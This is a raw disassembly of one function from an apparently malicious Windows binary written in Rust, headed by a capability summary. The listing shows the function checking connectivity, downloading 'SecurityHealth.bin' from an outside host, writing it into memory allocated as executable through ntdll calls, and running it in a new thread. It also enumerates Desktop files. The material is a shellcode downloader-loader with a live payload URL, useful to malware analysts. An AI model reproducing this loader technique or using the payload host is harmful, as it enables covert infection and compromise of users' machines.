Function at 0x140005766
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Enumerate files on windows
Execute shellcode via indirect call
Get common file path
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xe48
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xdb0], xmm6
mov qword [rbp + 0xda8], 0xfffffffffffffffe
mov r15, rdx
mov r12, rcx
movzx eax, byte [rcx + 0x148]
test eax, eax
mov qword [rbp + 0xd70], rcx
mov qword [rbp + 0xd98], rdx
je 0x140005e5e
cmp eax, 3
jne 0x1400057ed
lea r14, [r12 + 0x140]
movzx eax, byte [r12 + 0x140]
test eax, eax
je 0x140005e6f
cmp eax, 3
je 0x140005937
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chainC:Users_fhnir.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_util_0.7.10_srcutilpoll_buf.rs
lea r8, str.srcmain.rs
jmp 0x1400057fb
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chainC:Users_fhnir.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_util_0.7.10_srcutilpoll_buf.rs
lea r8, str.srcmain.rs
push 0x23
pop rdx
call fcn.1400a88d0
mov qword [r12], rdx
lea rdx, str.https:__code.visualstudio.com_downloadFailed_to_read_response_body_n
lea rsi, [rbp + 0x670]
push 0x26
pop r8
mov rcx, rsi
call fcn.14007a318
movabs rax, 0x8000000000000000
cmp qword [rsi], rax
jne 0x140005857
mov rax, qword [rbp + 0x678]
mov qword [rbp + 0xb48], rax
mov qword [rbp + 0xb40], 2
lea rcx, [0x1400b16d8]
call fcn.1400122bd
jmp 0x14000586a
lea rcx, [rbp + 0xb40]
lea rdx, [rbp + 0x670]
call fcn.1400022c9
mov rax, qword [r12]
lock inc qword [rax]
jle 0x140007169
lea rsi, [rbp + 0x420]
mov qword [rsi + 0x110], rax
lea rdx, [rbp + 0xb40]
mov r8d, 0x110
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rsi], 2
je 0x1400058c9
lea rdx, [rbp + 0x4a8]
lea rsi, [rbp + 0xb10]
mov rcx, rsi
call fcn.14007b9a3
movabs rax, 0x8000000000000000
cmp qword [rsi], rax
jne 0x140005afb
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x420]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rbp + 0x8d0], 2
jne 0x140005900
mov rax, qword [rbp + 0x8d8]
mov qword [rbp + 0x20], 2
mov qword [rbp + 0x28], rax
jmp 0x140005917
lea r8, [rbp + 0x8d0]
mov rdx, qword [r8 + 0x110]
lea rcx, [rbp + 0x20]
call fcn.14006fbb5
lea rcx, [rbp + 0x9e0]
call fcn.14006fba6
lea rcx, [r12 + 8]
lea rdx, [rbp + 0x20]
mov r8d, 0x138
call sub.VCRUNTIME140.dll_memcpy
lea rsi, [r12 + 8]
lea rdi, [rbp + 0x670]
mov rcx, rdi
mov rdx, rsi
mov r8, r15
call fcn.140070efc
mov rbx, qword [rdi]
cmp rbx, 4
je 0x140005f65
lea rdi, [rbp + 0xc50]
lea rdx, [rbp + 0x670]
mov r8d, 0x98
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
call fcn.140001d10
cmp dword [rdi], 3
jne 0x1400059d0
lea rax, str.No_internet_connection._Retrying_in_3_seconds..._n
lea rcx, [rbp + 0x670]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14010e5a0]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.14008f6f0
push 3
pop rcx
call fcn.1400887e0
lea rcx, [rbp + 0xc50]
call fcn.140001a28
jmp 0x140005807
mov qword [rbp + 0xce8], rbx
lea r13, [0x14010e5a0]
lea rax, str.Internet_connection_detected._n
lea rsi, [rbp + 0x670]
mov qword [rsi], rax
push 1
pop rdi
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r13
xorps xmm6, xmm6
movups xmmword [rsi + 0x18], xmm6
mov rcx, rsi
call fcn.14008f6f0
lea rcx, [rbp + 0xc50]
call fcn.140001a28
mov rcx, r12
call fcn.14006fba6
mov byte [r12 + 0x140], 1
mov rcx, r12
call fcn.140001fce
and qword [rbp + 0x8d0], 0
mov qword [rbp + 0x8d8], rdi
and qword [rbp + 0x8e0], 0
lea rdi, str.https:__nc.bmexcellentfocus.net_Files_SecurityHealth.bin
push 0x38
pop rbx
lea r12, str.Failed_to_download._Retrying..._n
lea r14, [rbp + 0x20]
push 5
pop r15
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
call fcn.140002347
cmp dword [rbp + 0x670], 3
jne 0x140005aac
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 1
mov qword [rbp + 0x30], r13
movups xmmword [rbp + 0x38], xmm6
mov rcx, r14
call fcn.14008f6f0
mov rcx, r15
call fcn.1400887e0
cmp dword [rbp + 0x670], 3
jne 0x140005a5e
mov rcx, rsi
call fcn.140001905
jmp 0x140005a5e
lea rsi, [rbp + 0x20]
lea rdx, [rbp + 0x670]
mov r8d, 0xc0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdi, [rbp + 0x420]
lea r8, [rbp + 0x8d0]
mov rcx, rdi
mov rdx, rsi
call fcn.1400017e4
cmp qword [rdi], 0
je 0x140005b9d
mov rax, qword [rbp + 0x428]
mov qword [rbp + 0xb48], rax
jmp 0x140005dd7
lea rsi, [rbp + 0xb28]
mov rax, qword [rsi - 8]
mov rdi, rbp
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rsi - 0x18]
movaps xmmword [rdi], xmm0
lea rbx, [rbp + 0x670]
lea rdx, [rbp + 0x420]
mov r8d, 0x118
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xd00]
mov rdx, rdi
mov r8, rsi
call fcn.14007bb6e
movups xmm0, xmmword [0x1400ddf10]
movaps xmmword [rbp + 0xb00], xmm0
movups xmm1, xmmword [0x1400ddf00]
movaps xmmword [rbp + 0xaf0], xmm1
cmp dword [rbx], 2
jne 0x140005d6f
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x670]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xd00]
call fcn.1400122a7
lea rcx, [rbp + 0xaf0]
call fcn.140013deb
jmp 0x1400058e2
cmp qword [rbp + 0x428], 0
push 0xffffffffffffffff
pop rax
mov qword [rbp + 0xd48], rax
mov r12, qword [rbp + 0xd70]
je 0x140005eb5
mov edi, 0x2000
lea rax, [rbp + 0x8d0]
mov rdx, qword [rax + 0x10]
lea r14, [rbp + 0x420]
lea r15, [rbp + 0x20]
lea rbx, str._rustc_6672c16afcd4db8acdf08a6984fd4107bf07632clibrary_std_srciomod.rs
xor esi, esi
mov r8, qword [rbp + 0x8d0]
mov rax, r8
or rax, rdx
jne 0x140005c2b
mov rcx, r14
mov rdx, r15
lea r8, [rbp + 0x8d0]
call fcn.1400017e4
cmp qword [rbp + 0x420], 0
jne 0x140005fc5
cmp qword [rbp + 0x428], 0
mov rdx, qword [rbp + 0x8e0]
je 0x140005fe3
mov r8, qword [rbp + 0x8d0]
cmp rdx, r8
jne 0x140005c64
lea rcx, [rbp + 0x8d0]
mov rdx, r8
push 0x20
pop r8
call fcn.1400339a4
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x140005f94
mov r8, qword [rbp + 0x8d0]
mov rdx, qword [rbp + 0x8e0]
sub r8, rdx
add rdx, qword [rbp + 0x8d8]
cmp r8, rdi
mov qword [rbp + 0xd90], rdi
mov r12, rdi
cmovb r12, r8
mov rcx, r12
mov r9, rbx
call fcn.140001000
mov rbx, rax
mov rdi, rdx
mov r8, rdi
sub r8, rsi
jb 0x140006866
add rsi, rbx
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rdi
mov rdx, rbx
mov r8, rdi
lea r9, [0x1400ad858]
call fcn.140001000
mov r9, rdx
mov rcx, r14
mov rdx, r15
mov r8, rax
call fcn.14007becb
cmp qword [rbp + 0x420], 0
je 0x140005d04
mov rsi, qword [rbp + 0x428]
mov rcx, rsi
call fcn.14000189e
test al, al
je 0x140005dd0
mov qword [rbp + 0x420], rsi
mov rcx, r14
call fcn.140001be7
mov rsi, rdi
jmp 0x140005c90
mov rax, qword [rbp + 0x428]
mov rsi, rdi
sub rsi, rax
jb 0x140006fe9
test rax, rax
lea rbx, str._rustc_6672c16afcd4db8acdf08a6984fd4107bf07632clibrary_std_srciomod.rs
je 0x140005fa0
mov rdx, qword [rbp + 0x8e0]
add rdx, rax
cmp rdi, r12
push 0xffffffffffffffff
pop r8
mov rdi, qword [rbp + 0xd90]
cmovne rdi, r8
lea rcx, [rdi + rdi]
test rdi, rdi
cmovs rcx, r8
cmp rax, r12
cmovne rcx, rdi
mov qword [rbp + 0x8e0], rdx
cmp r12, rdi
cmovae rdi, rcx
mov r12, qword [rbp + 0xd70]
jmp 0x140005be0
lea rdx, [rbp - 0x20]
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm1
movups xmm0, xmmword [rbp + 0xd00]
movups xmm1, xmmword [rbp + 0xd10]
lea r8, [rbp + 0x8d0]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
mov eax, dword [rbp + 0xd21]
mov dword [r8 + 0x21], eax
mov eax, dword [rbp + 0xd24]
mov dword [r8 + 0x24], eax
lea rcx, [rbp + 0x698]
mov byte [r8 + 0x20], 1
call fcn.14001395b
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x670]
jmp 0x1400058d7
mov qword [rbp + 0xb48], rsi
mov qword [rbp + 0xb40], 1
mov r12, qword [rbp + 0xd70]
lea rax, [0x1400adc08]
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], r13
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.14008f6f0
lea rcx, [rbp + 0xb40]
call fcn.140001fbe
lea rcx, [rbp + 0x20]
call fcn.140001e45
cmp dword [rbp + 0x670], 3
jne 0x140005e3c
lea rcx, [rbp + 0x670]
call fcn.140001905
mov rcx, qword [rbp + 0x8d0]
mov rdx, qword [rbp + 0x8d8]
call fcn.140031059
push 5
pop rcx
call fcn.1400887e0
mov r15, qword [rbp + 0xd98]
lea r14, [r12 + 0x140]
mov byte [r12 + 0x140], 0
lea rsi, [rbp + 0x20]
mov rcx, rsi
call fcn.14007b7f0
mov rcx, rsi
call fcn.14006e5cb
test rax, rax
je 0x140005803
lea r8, [rbp + 0x20]
mov qword [r8], rdx
lea rax, str.C:Users_fhnir.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.24_src_async_implclient.rstrust_dns_shouldnt_be_enabled_unless_the_feature_is
mov qword [rsp + 0x20], rax
lea rcx, [0x1400ddc9e]
lea r9, fcn.140037e56
push 0xd
pop rdx
call fcn.1400a8ca0
xorps xmm0, xmm0
movaps xmmword [rbp + 0xb40], xmm0
mov r14, qword [rbp + 0x8e0]
lea rcx, [rbp + 0xb40]
call fcn.140001fbe
mov rbx, qword [rbp + 0x8d0]
mov rdi, qword [rbp + 0x8d8]
lea rcx, [rbp + 0x20]
call fcn.140001e45
cmp dword [rbp + 0x670], 3
jne 0x140005efe
lea rcx, [rbp + 0x670]
call fcn.140001905
movabs rax, 0x8000000000000000
cmp rbx, rax
je 0x140005e4f
push 5
pop rcx
call fcn.1400887e0
movups xmm0, xmmword [0x1400afefc]
lea r12, [rbp + 0x670]
movaps xmmword [r12], xmm0
lea rsi, [rbp + 0x420]
and qword [rsi], 0
mov rcx, r12
xor edx, edx
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.shell32.dll_SHGetKnownFolderPath]
mov rcx, qword [rsi]
test eax, eax
mov qword [rbp + 0xcf0], rdi
je 0x140005ffa
call qword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x14000604f
mov byte [r14], 3
mov cl, 3
cmp ebx, 4
sete al
mov byte [r12 + 0x148], cl
movaps xmm6, xmmword [rbp + 0xdb0]
add rsp, 0xe48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movabs rax, 0x2600000003
jmp 0x140005fcc
mov rax, qword [rbp + 0x8e0]
mov r14, rax
mov qword [rbp + 0xb48], rax
and qword [rbp + 0xb40], 0
mov r12, qword [rbp + 0xd70]
jmp 0x140005ec6
mov rax, qword [rbp + 0x428]
mov qword [rbp + 0xb48], rax
mov qword [rbp + 0xb40], 1
jmp 0x140005de9
mov r14, rdx
mov qword [rbp + 0xb48], rdx
and qword [rbp + 0xb40], 0
jmp 0x140005ec6
call qword [sym.imp.kernel32.dll_lstrlenW]
movsxd r8, eax
mov rdx, qword [rbp + 0x420]
lea rsi, [rbp + 0x20]
mov rcx, rsi
call fcn.14008a710
mov rcx, qword [rbp + 0x420]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, qword [rsi]
movups xmm0, xmmword [rsi + 8]
movaps xmmword [rbp + 0xd00], xmm0
mov rcx, qword [rsi + 0x18]
mov qword [rbp + 0xd10], rcx
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x140006352
lea rax, str.Unable_to_get_the_users_home_directory_n
lea rcx, [rbp + 0x20]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], r13
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.14008f950
push 5
pop rcx
call fcn.1400887e0
call fcn.140034d09
mov rsi, rax
mov rcx, rsi
call fcn.140002164
bt eax, 0x1e
jb 0x140006085
mov rcx, rsi
call fcn.14003419d
lea rdx, str.https:__quan.suning.com_getSysTime.dosysTime1
lea rsi, [rbp + 0x670]
push 0x25
pop r8
mov rcx, rsi
call fcn.140002347
mov rdi, qword [rsi]
cmp rdi, 3
je 0x140006ffe
lea rdx, [rbp + 0x680]
mov r15, qword [rdx - 8]
lea rsi, [rbp + 0x430]
mov r8d, 0xb0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi - 0x10], rdi
mov qword [rsi - 8], r15
lea rsi, [rbp + 0x8d0]
lea rdx, [rbp + 0x420]
mov rcx, rsi
call fcn.140003af4
mov rax, qword [rsi]
test rax, rax
je 0x140007007
mov rdx, qword [rbp + 0x8d8]
movups xmm0, xmmword [rbp + 0x8e0]
lea rcx, [rbp + 0xc50]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rbp + 0x8f0]
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
call fcn.1400016a3
test rax, rax
je 0x140007010
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rsi, [rbp + 0x670]
mov rcx, rsi
call fcn.140011550
cmp byte [rsi], 0
jne 0x14000701c
push 3
pop rcx
call fcn.1400887e0
lea rdx, str.https:__quan.suning.com_getSysTime.dosysTime1
push 0x25
pop r8
mov rcx, rsi
call fcn.140002347
mov rdi, qword [rsi]
cmp rdi, 3
je 0x140007035
lea rdx, [rbp + 0x680]
mov r15, qword [rdx - 8]
lea rsi, [rbp + 0x30]
mov r8d, 0xb0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi - 0x10], rdi
mov qword [rsi - 8], r15
lea rsi, [rbp + 0x8d0]
lea rdx, [rbp + 0x20]
mov rcx, rsi
call fcn.140003af4
mov rax, qword [rsi]
test rax, rax
je 0x14000703e
mov rdx, qword [rbp + 0x8d8]
movups xmm0, xmmword [rbp + 0x8e0]
lea rcx, [rbp + 0xb40]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rbp + 0x8f0]
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
call fcn.1400016a3
test rax, rax
je 0x140007074
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rsi, [rbp + 0x670]
mov rcx, rsi
call fcn.140011550
cmp byte [rsi], 0
jne 0x140007080
lea rcx, [rbp + 0xb40]
call fcn.140001918
lea rcx, [rbp + 0xc50]
call fcn.140001918
lea rsi, [rbp + 0x420]
and qword [rsi], 0
lea r15, [rbp + 0x670]
mov rdi, r14
mov qword [r15], r14
and dword [rbp + 0x8d0], 0
call fcn.140034d09
mov r12, rax
mov rcx, rax
call fcn.140002164
mov r13d, eax
and r13d, 1
or r13d, 0x1000
mov rcx, r12
call fcn.14003419d
mov dword [rsp + 0x20], r13d
mov dword [rsp + 0x28], 0x40
push 0xffffffffffffffff
pop r12
mov rcx, r12
mov rdx, rsi
xor r8d, r8d
mov r9, r15
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [rsi]
and qword [rsp + 0x20], 0
mov rcx, r12
mov r14, qword [rbp + 0xcf0]
mov r8, r14
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rax, [rbp + 0x8d0]
mov qword [rsp + 0x20], rax
push 0x50
pop r9
mov rcx, r12
mov rdx, rsi
mov r8, r15
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
lea rdi, [rbp + 0x20]
and qword [rdi], 0
mov rax, qword [rsi]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
and dword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
and qword [rsp + 0x28], 0
mov rcx, rdi
mov edx, 0x2000000
xor r8d, r8d
mov r9, r12
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [rdi]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
mov rcx, rbx
mov rdx, r14
call fcn.140031059
mov cl, 1
mov r12, qword [rbp + 0xd70]
mov rbx, qword [rbp + 0xce8]
jmp 0x140005f6b
lea rsi, [rbp + 0xb10]
mov qword [rsi], rax
movaps xmm0, xmmword [rbp + 0xd00]
movups xmmword [rsi + 8], xmm0
mov rax, qword [rbp + 0xd10]
mov qword [rsi + 0x18], rax
lea rdx, str.Desktop
push 7
pop r8
mov rcx, rsi
call case.0x14008cf91.45
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rsi, [rbp + 0x20]
mov rcx, rsi
call fcn.14000b7b0
cmp qword [rsi], 0
jne 0x1400070cc
mov r15, qword [rbp + 0x30]
test r15, r15
je 0x1400064bd
js 0x1400070d8
mov rsi, qword [rbp + 0x28]
mov al, byte [0x1401172e0]
xor ecx, ecx
mov rdx, r15
call fcn.140090a50
test rax, rax
je 0x1400070dd
mov qword [rbp + 0xd78], rax
mov rcx, rax
mov rdx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov al, byte [0x1401172e0]
xor ecx, ecx
mov rdx, r15
call fcn.140090a50
test rax, rax
je 0x1400070e8
mov rdi, rax
mov rcx, rax
mov rdx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x20]
mov qword [rcx], r15
mov qword [rcx + 8], rdi
mov qword [rbp + 0xd88], r15
mov qword [rcx + 0x10], r15
mov byte [rcx + 0x18], 0
lea rdx, [0x1400e5910]
push 1
pop r8
call case.0x14008cf91.45
lea rcx, [rbp + 0x20]
mov rax, qword [rcx]
mov qword [rbp + 0xd60], rax
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov byte [rbp + 0xda6], 1
mov qword [rbp + 0xd80], rdx
call fcn.1400881b0
mov r15, qword [rbp + 0x20]
push 2
pop rax
mov dword [rbp + 0xd6c], eax
movabs rax, 0x8000000000000000
cmp r15, rax
jne 0x1400064d3
mov rdi, qword [rbp + 0x28]
mov rsi, qword [rbp + 0xd80]
cmp qword [rbp + 0xd60], 0
je 0x140006548
mov qword [rbp + 0xd88], rdi
push 1
pop rdx
mov rcx, rsi
call fcn.140007720
mov sil, 1
xor edi, edi
mov rcx, qword [rbp + 0xd78]
jmp 0x140006b81
movabs rax, 0x300000002
mov qword [rbp + 0xd88], rax
jmp 0x140006b8e
mov rdi, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0xc50], r15
mov qword [rbp + 0xc58], rdi
mov qword [rbp + 0xc60], rax
cmp rax, 3
jbe 0x140006535
movabs rcx, 0x5c003f005c005c
cmp qword [rdi], rcx
je 0x140006a2b
movabs rcx, 0x5c003f003f005c
cmp qword [rdi], rcx
je 0x140006a2b
cmp rax, 0xf8
jae 0x1400065c0
cmp word [rdi + 2], 0x3a
jne 0x140006599
movzx eax, word [rdi + 4]
jmp 0x140006577
je 0x140006563
cmp rax, 1
jne 0x140006597
cmp word [rdi], 0
jne 0x1400065c0
jmp 0x140006a2b
mov sil, 1
mov rdx, rdi
xor edi, edi
mov rcx, qword [rbp + 0xd78]
mov qword [rbp + 0xd88], rdx
jmp 0x140006b81
cmp word [rdi + 2], 0x3a
jne 0x140006599
movzx eax, word [rdi + 4]
test ax, ax
je 0x14000684c
cmp ax, 0x2f
je 0x140006585
movzx eax, ax
cmp eax, 0x5c
jne 0x140006599
movzx eax, word [rdi]
cmp eax, 0x2f
je 0x14000659c
cmp eax, 0x5c
je 0x14000659c
jmp 0x140006a2b
jbe 0x1400065c0
movzx eax, word [rdi]
cmp ax, 0x5c
je 0x1400065aa
movzx eax, ax
cmp eax, 0x2f
jne 0x1400065c0
movzx eax, word [rdi + 2]
cmp eax, 0x2f
je 0x140006a2b
cmp eax, 0x5c
je 0x140006a2b
mov qword [rbp + 0xd90], rdi
lea rax, [rbp + 0xb40]
and qword [rax], 0
mov qword [rax + 8], 2
and qword [rax + 0x10], 0
mov r15d, 0x200
push 2
pop rax
mov qword [rbp + 0xd38], rax
xor eax, eax
mov qword [rbp + 0xd40], rax
xor eax, eax
mov qword [rbp + 0xd50], rax
xor edi, edi
cmp r15, 0x201
jae 0x140006621
mov eax, 0x200
mov qword [rbp + 0xd30], rax
lea rsi, [rbp + 0x20]
mov r12, r15
jmp 0x140006698
sub r15, rdi
mov rax, qword [rbp + 0xd50]
sub rax, rdi
cmp rax, r15
jae 0x140006661
lea rcx, [rbp + 0xb40]
mov rdx, rdi
mov r8, r15
call fcn.1400ab000
mov rax, qword [rbp + 0xb40]
mov qword [rbp + 0xd40], rax
mov rax, qword [rbp + 0xb48]
mov qword [rbp + 0xd38], rax
mov eax, 0xffffffff
mov rcx, qword [rbp + 0xd40]
cmp rcx, rax
mov edi, 0xffffffff
cmovb rdi, rcx
mov qword [rbp + 0xb50], rdi
mov qword [rbp + 0xd50], rcx
mov qword [rbp + 0xd30], rdi
mov rsi, qword [rbp + 0xd38]
mov r12, rdi
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0xd90]
mov edx, r12d
mov qword [rbp + 0xd98], rsi
mov r8, rsi
xor r9d, r9d
call qword [sym.imp.kernel32.dll_GetFullPathNameW]
mov esi, eax
test eax, eax
jne 0x1400066d1
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140006751
mov r15d, esi
cmp r12, r15
jne 0x1400066ff
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400070b1
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r15, r12
jmp 0x140006603
lea r12, [rbp + 0x670]
jb 0x140006603
mov rdx, qword [rbp + 0xd30]
cmp rdx, r15
jb 0x14000711e
cmp esi, 2
jbe 0x1400067aa
mov r8, qword [rbp + 0xd98]
movzx ecx, word [r8 + 2]
lea rax, [0x1400e63c0]
push 4
pop r9
cmp ecx, 0x3a
jne 0x1400067bd
cmp word [r8 + 4], 0x5c
jne 0x1400067bd
mov r13, rax
jmp 0x14000688e
call qword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
shl rdi, 0x20
cmp qword [rbp + 0xb40], 0
je 0x140006776
mov rcx, qword [rbp + 0xb48]
push 2
pop rdx
call fcn.140007720
or rdi, 2
cmp qword [rbp + 0xc50], 0
lea r12, [rbp + 0x670]
mov rsi, qword [rbp + 0xd80]
je 0x14000648c
mov rcx, qword [rbp + 0xc58]
push 2
pop rdx
call fcn.140007720
jmp 0x14000648c
jne 0x140006840
mov r8, qword [rbp + 0xd98]
movzx edx, word [r8]
jmp 0x1400067cd
movzx edx, word [r8]
cmp esi, 3
jne 0x1400067fe
mov r8, qword [rbp + 0xd98]
cmp dx, 0x5c
jne 0x14000688b
movzx ecx, word [r8 + 2]
cmp cx, 0x5c
jne 0x14000688b
add r15, 0xfffffffffffffffe
add r8, 4
lea r13, [0x1400e63c8]
push 8
pop r9
jmp 0x14000688e
cmp dx, 0x5c
jne 0x140006840
cmp ecx, 0x3f
je 0x140006840
cmp ecx, 0x5c
mov r8, qword [rbp + 0xd98]
jne 0x1400067dc
movzx ecx, word [r8 + 4]
cmp ecx, 0x3f
je 0x140006878
cmp ecx, 0x2e
mov r8, qword [rbp + 0xd98]
jne 0x1400067e6
cmp word [r8 + 6], 0x5c
jne 0x1400067e6
add r15, 0xfffffffffffffffc
add r8, 8
jmp 0x140006749
xor r9d, r9d
mov r8, qword [rbp + 0xd98]
jmp 0x14000688e
movzx eax, word [rdi]
cmp eax, 0x2f
je 0x140006599
cmp eax, 0x5c
je 0x140006599
jmp 0x140006a2b
lea r8, [0x1400ad8f0]
mov rcx, rsi
mov rdx, rdi
call fcn.1400a8830
mov r8, qword [rbp + 0xd98]
cmp word [r8 + 6], 0x5c
jne 0x1400067e6
xor r9d, r9d
mov qword [rbp + 0xd98], r8
lea rdi, [r15 + r9]
inc rdi
mov rax, qword [rbp + 0xc50]
cmp rax, rdi
jae 0x1400068dd
lea r8, [rdi + rdi]
test rax, rax
mov qword [rbp + 0xd50], r9
je 0x1400068e9
add rax, rax
mov rcx, qword [rbp + 0xd90]
mov qword [rbp + 0x420], rcx
mov qword [rbp + 0x428], 2
mov qword [rbp + 0x430], rax
jmp 0x1400068f1
mov rdi, rax
mov rcx, qword [rbp + 0xd90]
jmp 0x140006930
and qword [rbp + 0x428], 0
lea rsi, [rbp + 0x8d0]
push 2
pop rdx
lea r9, [rbp + 0x420]
mov rcx, rsi
call fcn.140086d50
cmp qword [rsi], 0
jne 0x14000712f
mov rcx, qword [rbp + 0x8d8]
mov qword [rbp + 0xc58], rcx
mov qword [rbp + 0xc50], rdi
mov r9, qword [rbp + 0xd50]
lea r8d, [r9 + r9]
mov rdx, r13
mov rsi, r9
call sub.VCRUNTIME140.dll_memcpy
mov r9, rsi
mov qword [rbp + 0xc60], rsi
mov rax, rdi
sub rax, rsi
cmp rax, r15
jae 0x140006984
lea rcx, [rbp + 0xc50]
mov rdx, r9
mov r8, r15
call fcn.1400ab000
mov rax, qword [rbp + 0xc50]
mov qword [rbp + 0xd90], rax
mov r9, qword [rbp + 0xc60]
mov rsi, qword [rbp + 0xd80]
jmp 0x140006992
mov rsi, qword [rbp + 0xd80]
mov qword [rbp + 0xd90], rdi
lea r8, [r15 + r15]
mov r13, qword [rbp + 0xc58]
lea rcx, [r9*2]
add rcx, r13
mov rdx, qword [rbp + 0xd98]
mov rdi, r9
call sub.VCRUNTIME140.dll_memcpy
add rdi, r15
mov qword [rbp + 0xc60], rdi
mov rdx, qword [rbp + 0xd90]
cmp rdi, rdx
jne 0x1400069ee
lea rcx, [rbp + 0xc50]
call fcn.140088520
mov r13, qword [rbp + 0xc58]
mov rdi, qword [rbp + 0xc60]
mov rsi, qword [rbp + 0xd80]
and word [r13 + rdi*2], 0
cmp qword [rbp + 0xb40], 0
mov rdi, r13
je 0x140006a11
mov rcx, qword [rbp + 0xb48]
push 2
pop rdx
call fcn.140007720
mov r15, qword [rbp + 0xc50]
movabs rax, 0x8000000000000000
cmp r15, rax
je 0x14000648c
lea rsi, [rbp + 0x20]
mov r8d, 0x250
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rdi
mov rdx, rsi
call qword [sym.imp.kernel32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x140006af5
mov r13, rax
mov al, byte [0x1401172e0]
push 0x30
pop rdx
xor ecx, ecx
call fcn.140090a50
test rax, rax
mov rdx, qword [rbp + 0xd78]
je 0x1400070fc
push 1
pop rcx
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov rcx, qword [rbp + 0xd88]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rcx
mov qword [rbp + 0xd88], rax
mov byte [rax + 0x28], 0
lea rcx, [rbp + 0x670]
lea rdx, [rbp + 0x20]
mov r8d, 0x250
call sub.VCRUNTIME140.dll_memcpy
test r15, r15
je 0x140006ac6
push 2
pop rdx
mov rcx, rdi
call fcn.140007720
mov dil, 1
push 1
pop rax
mov dword [rbp + 0xd6c], eax
cmp qword [rbp + 0xd60], 0
je 0x140006bf1
xor esi, esi
mov qword [rbp + 0xd48], r13
mov rcx, qword [rbp + 0xd80]
jmp 0x140006b81
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
mov rsi, qword [rbp + 0xd78]
jne 0x140006fac
mov al, byte [0x1401172e0]
push 0x30
pop rdx
xor ecx, ecx
call fcn.140090a50
test rax, rax
je 0x140007142
mov rcx, rax
push 1
pop rax
mov qword [rcx], rax
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0xd88]
mov qword [rcx + 0x10], rax
